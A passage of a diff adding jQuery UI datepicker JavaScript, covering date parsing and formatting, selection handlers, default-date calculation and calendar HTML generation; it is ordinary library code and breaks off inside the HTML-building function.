+		offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ?
+			Math.abs( dpHeight + inputHeight ) : 0 );
+
+		return offset;
+	},
+
+	/* Find an object's position on the screen. */
+	_findPos: function( obj ) {
+		var position,
+			inst = this._getInst( obj ),
+			isRTL = this._get( inst, "isRTL" );
+
+		while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.filters.hidden( obj ) ) ) {
+			obj = obj[ isRTL ? "previousSibling" : "nextSibling" ];
+		}
+
+		position = $( obj ).offset();
+		return [ position.left, position.top ];
+	},
+
+	/* Hide the date picker from view.
+	 * @param  input  element - the input field attached to the date picker
+	 */
+	_hideDatepicker: function( input ) {
+		var showAnim, duration, postProcess, onClose,
+			inst = this._curInst;
+
+		if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) {
+			return;
+		}
+
+		if ( this._datepickerShowing ) {
+			showAnim = this._get( inst, "showAnim" );
+			duration = this._get( inst, "duration" );
+			postProcess = function() {
+				$.datepicker._tidyDialog( inst );
+			};
+
+			// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
+			if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) {
+				inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess );
+			} else {
+				inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" :
+					( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess );
+			}
+
+			if ( !showAnim ) {
+				postProcess();
+			}
+			this._datepickerShowing = false;
+
+			onClose = this._get( inst, "onClose" );
+			if ( onClose ) {
+				onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] );
+			}
+
+			this._lastInput = null;
+			if ( this._inDialog ) {
+				this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } );
+				if ( $.blockUI ) {
+					$.unblockUI();
+					$( "body" ).append( this.dpDiv );
+				}
+			}
+			this._inDialog = false;
+		}
+	},
+
+	/* Tidy up after a dialog display. */
+	_tidyDialog: function( inst ) {
+		inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" );
+	},
+
+	/* Close date picker if clicked elsewhere. */
+	_checkExternalClick: function( event ) {
+		if ( !$.datepicker._curInst ) {
+			return;
+		}
+
+		var $target = $( event.target ),
+			inst = $.datepicker._getInst( $target[ 0 ] );
+
+		if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId &&
+				$target.parents( "#" + $.datepicker._mainDivId ).length === 0 &&
+				!$target.hasClass( $.datepicker.markerClassName ) &&
+				!$target.closest( "." + $.datepicker._triggerClass ).length &&
+				$.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) ||
+			( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) {
+				$.datepicker._hideDatepicker();
+		}
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustDate: function( id, offset, period ) {
+		var target = $( id ),
+			inst = this._getInst( target[ 0 ] );
+
+		if ( this._isDisabledDatepicker( target[ 0 ] ) ) {
+			return;
+		}
+		this._adjustInstDate( inst, offset +
+			( period === "M" ? this._get( inst, "showCurrentAtPos" ) : 0 ), // undo positioning
+			period );
+		this._updateDatepicker( inst );
+	},
+
+	/* Action for current link. */
+	_gotoToday: function( id ) {
+		var date,
+			target = $( id ),
+			inst = this._getInst( target[ 0 ] );
+
+		if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) {
+			inst.selectedDay = inst.currentDay;
+			inst.drawMonth = inst.selectedMonth = inst.currentMonth;
+			inst.drawYear = inst.selectedYear = inst.currentYear;
+		} else {
+			date = new Date();
+			inst.selectedDay = date.getDate();
+			inst.drawMonth = inst.selectedMonth = date.getMonth();
+			inst.drawYear = inst.selectedYear = date.getFullYear();
+		}
+		this._notifyChange( inst );
+		this._adjustDate( target );
+	},
+
+	/* Action for selecting a new month/year. */
+	_selectMonthYear: function( id, select, period ) {
+		var target = $( id ),
+			inst = this._getInst( target[ 0 ] );
+
+		inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] =
+		inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] =
+			parseInt( select.options[ select.selectedIndex ].value, 10 );
+
+		this._notifyChange( inst );
+		this._adjustDate( target );
+	},
+
+	/* Action for selecting a day. */
+	_selectDay: function( id, month, year, td ) {
+		var inst,
+			target = $( id );
+
+		if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) {
+			return;
+		}
+
+		inst = this._getInst( target[ 0 ] );
+		inst.selectedDay = inst.currentDay = $( "a", td ).html();
+		inst.selectedMonth = inst.currentMonth = month;
+		inst.selectedYear = inst.currentYear = year;
+		this._selectDate( id, this._formatDate( inst,
+			inst.currentDay, inst.currentMonth, inst.currentYear ) );
+	},
+
+	/* Erase the input field and hide the date picker. */
+	_clearDate: function( id ) {
+		var target = $( id );
+		this._selectDate( target, "" );
+	},
+
+	/* Update the input field with the selected date. */
+	_selectDate: function( id, dateStr ) {
+		var onSelect,
+			target = $( id ),
+			inst = this._getInst( target[ 0 ] );
+
+		dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) );
+		if ( inst.input ) {
+			inst.input.val( dateStr );
+		}
+		this._updateAlternate( inst );
+
+		onSelect = this._get( inst, "onSelect" );
+		if ( onSelect ) {
+			onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] );  // trigger custom callback
+		} else if ( inst.input ) {
+			inst.input.trigger( "change" ); // fire the change event
+		}
+
+		if ( inst.inline ) {
+			this._updateDatepicker( inst );
+		} else {
+			this._hideDatepicker();
+			this._lastInput = inst.input[ 0 ];
+			if ( typeof( inst.input[ 0 ] ) !== "object" ) {
+				inst.input.trigger( "focus" ); // restore focus
+			}
+			this._lastInput = null;
+		}
+	},
+
+	/* Update any alternate field to synchronise with the main field. */
+	_updateAlternate: function( inst ) {
+		var altFormat, date, dateStr,
+			altField = this._get( inst, "altField" );
+
+		if ( altField ) { // update alternate field too
+			altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" );
+			date = this._getDate( inst );
+			dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) );
+			$( altField ).val( dateStr );
+		}
+	},
+
+	/* Set as beforeShowDay function to prevent selection of weekends.
+	 * @param  date  Date - the date to customise
+	 * @return [boolean, string] - is this date selectable?, what is its CSS class?
+	 */
+	noWeekends: function( date ) {
+		var day = date.getDay();
+		return [ ( day > 0 && day < 6 ), "" ];
+	},
+
+	/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
+	 * @param  date  Date - the date to get the week for
+	 * @return  number - the number of the week within the year that contains this date
+	 */
+	iso8601Week: function( date ) {
+		var time,
+			checkDate = new Date( date.getTime() );
+
+		// Find Thursday of this week starting on Monday
+		checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) );
+
+		time = checkDate.getTime();
+		checkDate.setMonth( 0 ); // Compare with Jan 1
+		checkDate.setDate( 1 );
+		return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1;
+	},
+
+	/* Parse a string value into a date object.
+	 * See formatDate below for the possible formats.
+	 *
+	 * @param  format string - the expected format of the date
+	 * @param  value string - the date in the above format
+	 * @param  settings Object - attributes include:
+	 *					shortYearCutoff  number - the cutoff year for determining the century (optional)
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  Date - the extracted date value or null if value is blank
+	 */
+	parseDate: function( format, value, settings ) {
+		if ( format == null || value == null ) {
+			throw "Invalid arguments";
+		}
+
+		value = ( typeof value === "object" ? value.toString() : value + "" );
+		if ( value === "" ) {
+			return null;
+		}
+
+		var iFormat, dim, extra,
+			iValue = 0,
+			shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff,
+			shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp :
+				new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ),
+			dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
+			dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
+			monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
+			monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
+			year = -1,
+			month = -1,
+			day = -1,
+			doy = -1,
+			literal = false,
+			date,
+
+			// Check whether a format character is doubled
+			lookAhead = function( match ) {
+				var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
+				if ( matches ) {
+					iFormat++;
+				}
+				return matches;
+			},
+
+			// Extract a number from the string value
+			getNumber = function( match ) {
+				var isDoubled = lookAhead( match ),
+					size = ( match === "@" ? 14 : ( match === "!" ? 20 :
+					( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ),
+					minSize = ( match === "y" ? size : 1 ),
+					digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ),
+					num = value.substring( iValue ).match( digits );
+				if ( !num ) {
+					throw "Missing number at position " + iValue;
+				}
+				iValue += num[ 0 ].length;
+				return parseInt( num[ 0 ], 10 );
+			},
+
+			// Extract a name from the string value and convert to an index
+			getName = function( match, shortNames, longNames ) {
+				var index = -1,
+					names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) {
+						return [ [ k, v ] ];
+					} ).sort( function( a, b ) {
+						return -( a[ 1 ].length - b[ 1 ].length );
+					} );
+
+				$.each( names, function( i, pair ) {
+					var name = pair[ 1 ];
+					if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) {
+						index = pair[ 0 ];
+						iValue += name.length;
+						return false;
+					}
+				} );
+				if ( index !== -1 ) {
+					return index + 1;
+				} else {
+					throw "Unknown name at position " + iValue;
+				}
+			},
+
+			// Confirm that a literal character matches the string value
+			checkLiteral = function() {
+				if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) {
+					throw "Unexpected literal at position " + iValue;
+				}
+				iValue++;
+			};
+
+		for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
+			if ( literal ) {
+				if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
+					literal = false;
+				} else {
+					checkLiteral();
+				}
+			} else {
+				switch ( format.charAt( iFormat ) ) {
+					case "d":
+						day = getNumber( "d" );
+						break;
+					case "D":
+						getName( "D", dayNamesShort, dayNames );
+						break;
+					case "o":
+						doy = getNumber( "o" );
+						break;
+					case "m":
+						month = getNumber( "m" );
+						break;
+					case "M":
+						month = getName( "M", monthNamesShort, monthNames );
+						break;
+					case "y":
+						year = getNumber( "y" );
+						break;
+					case "@":
+						date = new Date( getNumber( "@" ) );
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "!":
+						date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 );
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "'":
+						if ( lookAhead( "'" ) ) {
+							checkLiteral();
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						checkLiteral();
+				}
+			}
+		}
+
+		if ( iValue < value.length ) {
+			extra = value.substr( iValue );
+			if ( !/^\s+/.test( extra ) ) {
+				throw "Extra/unparsed characters found in date: " + extra;
+			}
+		}
+
+		if ( year === -1 ) {
+			year = new Date().getFullYear();
+		} else if ( year < 100 ) {
+			year += new Date().getFullYear() - new Date().getFullYear() % 100 +
+				( year <= shortYearCutoff ? 0 : -100 );
+		}
+
+		if ( doy > -1 ) {
+			month = 1;
+			day = doy;
+			do {
+				dim = this._getDaysInMonth( year, month - 1 );
+				if ( day <= dim ) {
+					break;
+				}
+				month++;
+				day -= dim;
+			} while ( true );
+		}
+
+		date = this._daylightSavingAdjust( new Date( year, month - 1, day ) );
+		if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) {
+			throw "Invalid date"; // E.g. 31/02/00
+		}
+		return date;
+	},
+
+	/* Standard date formats. */
+	ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601)
+	COOKIE: "D, dd M yy",
+	ISO_8601: "yy-mm-dd",
+	RFC_822: "D, d M y",
+	RFC_850: "DD, dd-M-y",
+	RFC_1036: "D, d M y",
+	RFC_1123: "D, d M yy",
+	RFC_2822: "D, d M yy",
+	RSS: "D, d M y", // RFC 822
+	TICKS: "!",
+	TIMESTAMP: "@",
+	W3C: "yy-mm-dd", // ISO 8601
+
+	_ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) +
+		Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ),
+
+	/* Format a date object into a string value.
+	 * The format can be combinations of the following:
+	 * d  - day of month (no leading zero)
+	 * dd - day of month (two digit)
+	 * o  - day of year (no leading zeros)
+	 * oo - day of year (three digit)
+	 * D  - day name short
+	 * DD - day name long
+	 * m  - month of year (no leading zero)
+	 * mm - month of year (two digit)
+	 * M  - month name short
+	 * MM - month name long
+	 * y  - year (two digit)
+	 * yy - year (four digit)
+	 * @ - Unix timestamp (ms since 01/01/1970)
+	 * ! - Windows ticks (100ns since 01/01/0001)
+	 * "..." - literal text
+	 * '' - single quote
+	 *
+	 * @param  format string - the desired format of the date
+	 * @param  date Date - the date value to format
+	 * @param  settings Object - attributes include:
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  string - the date in the above format
+	 */
+	formatDate: function( format, date, settings ) {
+		if ( !date ) {
+			return "";
+		}
+
+		var iFormat,
+			dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
+			dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
+			monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
+			monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
+
+			// Check whether a format character is doubled
+			lookAhead = function( match ) {
+				var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
+				if ( matches ) {
+					iFormat++;
+				}
+				return matches;
+			},
+
+			// Format a number, with leading zero if necessary
+			formatNumber = function( match, value, len ) {
+				var num = "" + value;
+				if ( lookAhead( match ) ) {
+					while ( num.length < len ) {
+						num = "0" + num;
+					}
+				}
+				return num;
+			},
+
+			// Format a name, short or long as requested
+			formatName = function( match, value, shortNames, longNames ) {
+				return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] );
+			},
+			output = "",
+			literal = false;
+
+		if ( date ) {
+			for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
+				if ( literal ) {
+					if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
+						literal = false;
+					} else {
+						output += format.charAt( iFormat );
+					}
+				} else {
+					switch ( format.charAt( iFormat ) ) {
+						case "d":
+							output += formatNumber( "d", date.getDate(), 2 );
+							break;
+						case "D":
+							output += formatName( "D", date.getDay(), dayNamesShort, dayNames );
+							break;
+						case "o":
+							output += formatNumber( "o",
+								Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 );
+							break;
+						case "m":
+							output += formatNumber( "m", date.getMonth() + 1, 2 );
+							break;
+						case "M":
+							output += formatName( "M", date.getMonth(), monthNamesShort, monthNames );
+							break;
+						case "y":
+							output += ( lookAhead( "y" ) ? date.getFullYear() :
+								( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 );
+							break;
+						case "@":
+							output += date.getTime();
+							break;
+						case "!":
+							output += date.getTime() * 10000 + this._ticksTo1970;
+							break;
+						case "'":
+							if ( lookAhead( "'" ) ) {
+								output += "'";
+							} else {
+								literal = true;
+							}
+							break;
+						default:
+							output += format.charAt( iFormat );
+					}
+				}
+			}
+		}
+		return output;
+	},
+
+	/* Extract all possible characters from the date format. */
+	_possibleChars: function( format ) {
+		var iFormat,
+			chars = "",
+			literal = false,
+
+			// Check whether a format character is doubled
+			lookAhead = function( match ) {
+				var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
+				if ( matches ) {
+					iFormat++;
+				}
+				return matches;
+			};
+
+		for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
+			if ( literal ) {
+				if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
+					literal = false;
+				} else {
+					chars += format.charAt( iFormat );
+				}
+			} else {
+				switch ( format.charAt( iFormat ) ) {
+					case "d": case "m": case "y": case "@":
+						chars += "0123456789";
+						break;
+					case "D": case "M":
+						return null; // Accept anything
+					case "'":
+						if ( lookAhead( "'" ) ) {
+							chars += "'";
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						chars += format.charAt( iFormat );
+				}
+			}
+		}
+		return chars;
+	},
+
+	/* Get a setting value, defaulting if necessary. */
+	_get: function( inst, name ) {
+		return inst.settings[ name ] !== undefined ?
+			inst.settings[ name ] : this._defaults[ name ];
+	},
+
+	/* Parse existing date and initialise date picker. */
+	_setDateFromField: function( inst, noDefault ) {
+		if ( inst.input.val() === inst.lastVal ) {
+			return;
+		}
+
+		var dateFormat = this._get( inst, "dateFormat" ),
+			dates = inst.lastVal = inst.input ? inst.input.val() : null,
+			defaultDate = this._getDefaultDate( inst ),
+			date = defaultDate,
+			settings = this._getFormatConfig( inst );
+
+		try {
+			date = this.parseDate( dateFormat, dates, settings ) || defaultDate;
+		} catch ( event ) {
+			dates = ( noDefault ? "" : dates );
+		}
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		inst.currentDay = ( dates ? date.getDate() : 0 );
+		inst.currentMonth = ( dates ? date.getMonth() : 0 );
+		inst.currentYear = ( dates ? date.getFullYear() : 0 );
+		this._adjustInstDate( inst );
+	},
+
+	/* Retrieve the default date shown on opening. */
+	_getDefaultDate: function( inst ) {
+		return this._restrictMinMax( inst,
+			this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) );
+	},
+
+	/* A date may be specified as an exact value or a relative one. */
+	_determineDate: function( inst, date, defaultDate ) {
+		var offsetNumeric = function( offset ) {
+				var date = new Date();
+				date.setDate( date.getDate() + offset );
+				return date;
+			},
+			offsetString = function( offset ) {
+				try {
+					return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
+						offset, $.datepicker._getFormatConfig( inst ) );
+				}
+				catch ( e ) {
+
+					// Ignore
+				}
+
+				var date = ( offset.toLowerCase().match( /^c/ ) ?
+					$.datepicker._getDate( inst ) : null ) || new Date(),
+					year = date.getFullYear(),
+					month = date.getMonth(),
+					day = date.getDate(),
+					pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,
+					matches = pattern.exec( offset );
+
+				while ( matches ) {
+					switch ( matches[ 2 ] || "d" ) {
+						case "d" : case "D" :
+							day += parseInt( matches[ 1 ], 10 ); break;
+						case "w" : case "W" :
+							day += parseInt( matches[ 1 ], 10 ) * 7; break;
+						case "m" : case "M" :
+							month += parseInt( matches[ 1 ], 10 );
+							day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
+							break;
+						case "y": case "Y" :
+							year += parseInt( matches[ 1 ], 10 );
+							day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
+							break;
+					}
+					matches = pattern.exec( offset );
+				}
+				return new Date( year, month, day );
+			},
+			newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) :
+				( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) );
+
+		newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate );
+		if ( newDate ) {
+			newDate.setHours( 0 );
+			newDate.setMinutes( 0 );
+			newDate.setSeconds( 0 );
+			newDate.setMilliseconds( 0 );
+		}
+		return this._daylightSavingAdjust( newDate );
+	},
+
+	/* Handle switch to/from daylight saving.
+	 * Hours may be non-zero on daylight saving cut-over:
+	 * > 12 when midnight changeover, but then cannot generate
+	 * midnight datetime, so jump to 1AM, otherwise reset.
+	 * @param  date  (Date) the date to check
+	 * @return  (Date) the corrected date
+	 */
+	_daylightSavingAdjust: function( date ) {
+		if ( !date ) {
+			return null;
+		}
+		date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 );
+		return date;
+	},
+
+	/* Set the date(s) directly. */
+	_setDate: function( inst, date, noChange ) {
+		var clear = !date,
+			origMonth = inst.selectedMonth,
+			origYear = inst.selectedYear,
+			newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) );
+
+		inst.selectedDay = inst.currentDay = newDate.getDate();
+		inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
+		inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
+		if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) {
+			this._notifyChange( inst );
+		}
+		this._adjustInstDate( inst );
+		if ( inst.input ) {
+			inst.input.val( clear ? "" : this._formatDate( inst ) );
+		}
+	},
+
+	/* Retrieve the date(s) directly. */
+	_getDate: function( inst ) {
+		var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null :
+			this._daylightSavingAdjust( new Date(
+			inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
+			return startDate;
+	},
+
+	/* Attach the onxxx handlers.  These are declared statically so
+	 * they work with static code transformers like Caja.
+	 */
+	_attachHandlers: function( inst ) {
+		var stepMonths = this._get( inst, "stepMonths" ),
+			id = "#" + inst.id.replace( /\\\\/g, "\\" );
+		inst.dpDiv.find( "[data-handler]" ).map( function() {
+			var handler = {
+				prev: function() {
+					$.datepicker._adjustDate( id, -stepMonths, "M" );
+				},
+				next: function() {
+					$.datepicker._adjustDate( id, +stepMonths, "M" );
+				},
+				hide: function() {
+					$.datepicker._hideDatepicker();
+				},
+				today: function() {
+					$.datepicker._gotoToday( id );
+				},
+				selectDay: function() {
+					$.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this );
+					return false;
+				},
+				selectMonth: function() {
+					$.datepicker._selectMonthYear( id, this, "M" );
+					return false;
+				},
+				selectYear: function() {
+					$.datepicker._selectMonthYear( id, this, "Y" );
+					return false;
+				}
+			};
+			$( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] );
+		} );
+	},
+
+	/* Generate the HTML for the current state of the date picker. */
+	_generateHTML: function( inst ) {
+		var maxDraw, prevText, prev, nextText, next, currentText, gotoDate,
+			controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin,
+			monthNames, monthNamesShort, beforeShowDay, showOtherMonths,
+			selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate,
+			cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows,
+			printDate, dRow, tbody, daySettings, otherMonth, unselectable,
+			tempDate = new Date(),
+			today = this._daylightSavingAdjust(
+				new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time
+			isRTL = this._get( inst, "isRTL" ),
+			showButtonPanel = this._get( inst, "showButtonPanel" ),
+			hideIfNoPrevNext = this._get( inst, "hideIfNoPrevNext" ),
+			navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ),
+			numMonths = this._getNumberOfMonths( inst ),
+			showCurrentAtPos = this._get( inst, "showCurrentAtPos" ),
+			stepMonths = this._get( inst, "stepMonths" ),
+			isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ),
+			currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) :
+				new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ),
+			minDate = this._getMinMaxDate( inst, "min" ),
+			maxDate = this._getMinMaxDate( inst, "max" ),
+			drawMonth = inst.drawMonth - showCurrentAtPos,
+			drawYear = inst.drawYear;
+
+		if ( drawMonth < 0 ) {
+			drawMonth += 12;
+			drawYear--;
+		}
+		if ( maxDate ) {
+			maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(),
+				maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) );
+			maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw );
+			while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) {
+				drawMonth--;
+				if ( drawMonth < 0 ) {
+					drawMonth = 11;
+					drawYear--;
+				}
+			}
+		}
+		inst.drawMonth = drawMonth;
+		inst.drawYear = drawYear;
+
+		prevText = this._get( inst, "prevText" );
+		prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText,
+			this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ),
+			this._getFormatConfig( inst ) ) );
+
+		prev = ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ?
+			"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click'" +
+			" title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) + "'>" + prevText + "</span></a>" :
+			( hideIfNoPrevNext ? "" : "<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) + "'>" + prevText + "</span></a>" ) );
+
+		nextText = this._get( inst, "nextText" );
+		nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText,
+			this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ),
+			this._getFormatConfig( inst ) ) );
+
+		next = ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ?
+			"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click'" +
+			" title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) + "'>" + nextText + "</span></a>" :
+			( hideIfNoPrevNext ? "" : "<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) + "'>" + nextText + "</span></a>" ) );
+
+		currentText = this._get( inst, "currentText" );
+		gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today );
+		currentText = ( !navigationAsDateFormat ? currentText :
+			this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) );
+
+		controls = ( !inst.inline ? "<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>" +
+			this._get( inst, "closeText" ) + "</button>" : "" );
+
+		buttonPanel = ( showButtonPanel ) ? "<div class='ui-datepicker-buttonpane ui-widget-content'>" + ( isRTL ? controls : "" ) +
+			( this._isInRange( inst, gotoDate ) ? "<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'" +
+			">" + currentText + "</button>" : "" ) + ( isRTL ? "" : controls ) + "</div>" : "";
+
+		firstDay = parseInt( this._get( inst, "firstDay" ), 10 );
+		firstDay = ( isNaN( firstDay ) ? 0 : firstDay );
+
+		showWeek = this._get( inst, "showWeek" );
+		dayNames = this._get( inst, "dayNames" );
+		dayNamesMin = this._get( inst, "dayNamesMin" );
+		monthNames = this._get( inst, "monthNames" );
+		monthNamesShort = this._get( inst, "monthNamesShort" );
+		beforeShowDay = this._get( inst, "beforeShowDay" );
+		showOtherMonths = this._get( inst, "showOtherMonths" );
+		selectOtherMonths = this._get( inst, "selectOtherMonths" );
+		defaultDate = this._getDefaultDate( inst );
+		html = "";
+
+		for ( row = 0; row < numMonths[ 0 ]; row++ ) {
+			group = "";
+			this.maxRows = 4;
+			for ( col = 0; col < numMonths[ 1 ]; col++ ) {
+				selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) );
+				cornerClass = " ui-corner-all";
+				calender = "";
+				if ( isMultiMonth ) {
+					calender += "<div class='ui-datepicker-group";
+					if ( numMonths[ 1 ] > 1 ) {
+						switch ( col ) {
+							case 0: calender += " ui-datepicker-group-first";
+								cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break;
+							case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last";
+								cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break;
+							default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break;
+						}
+					}
+					calender += "'>";
+				}
+				calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" +
+					( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) +
+					( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) +
+					this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate,
+					row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers
+					"</div><table class='ui-datepicker-calendar'><thead>" +
+					"<tr>";
+				thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" );
+				for ( dow = 0; dow < 7; dow++ ) { // days of the week
